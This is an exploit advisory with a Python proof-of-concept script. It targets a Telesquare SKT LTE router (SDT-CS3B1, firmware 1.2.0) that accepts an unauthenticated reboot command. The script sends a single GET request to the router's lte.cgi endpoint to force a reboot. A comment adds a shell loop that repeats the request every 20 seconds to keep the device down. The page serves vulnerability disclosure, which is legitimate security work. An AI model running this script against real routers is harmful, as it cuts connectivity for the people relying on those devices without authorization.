Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service

2017.12.28
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python # # # Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service # # # Vendor: Telesquare Co., Ltd. # Product web page: http://www.telesquare.co.kr # Affected version: FwVer: SDT-CS3B1, sw version 1.2.0 # LteVer: ML300S5XEA41_090 1 0.1.0 # Modem model: PM-L300S # # Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G # LTE wireless communication based LTE router product. # # Desc: The router suffers from an unauthenticated reboot command execution. # Attackers can exploit this issue to cause a denial of service scenario. # # -------------------------------------------------------------------- # /lte/lteuicc.shtml: # ------------------- # # 858: function RebootRequest() # 859: { # 860: var url = "../cgi-bin/lte.cgi?"; # 861: var param = "Command=Reboot"; # 862: XHRPost(RebootHandle, url, param, false ); //sync call # 863: } # # -------------------------------------------------------------------- # # Tested on: lighttpd/1.4.20 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2017-5444 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5444.php # # # 22.12.2017 # import sys, requests if len(sys.argv) < 2: print 'SKT LTE Router SDT-CS3B1 Remote Reboot' print 'Usage: b00t.py <ip> <port>\n' quit() ip = sys.argv[1] port = sys.argv[2] r = requests.get("http://"+ip+":"+port+"/cgi-bin/lte.cgi?Command=Reboot") # shw: while true; do ./b00t.py 10.0.0.17 8081; sleep 20; done #print r.content #if in r.content: <xml></xml>, reboot true. print "Router rebooted."

References:

https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5444.php


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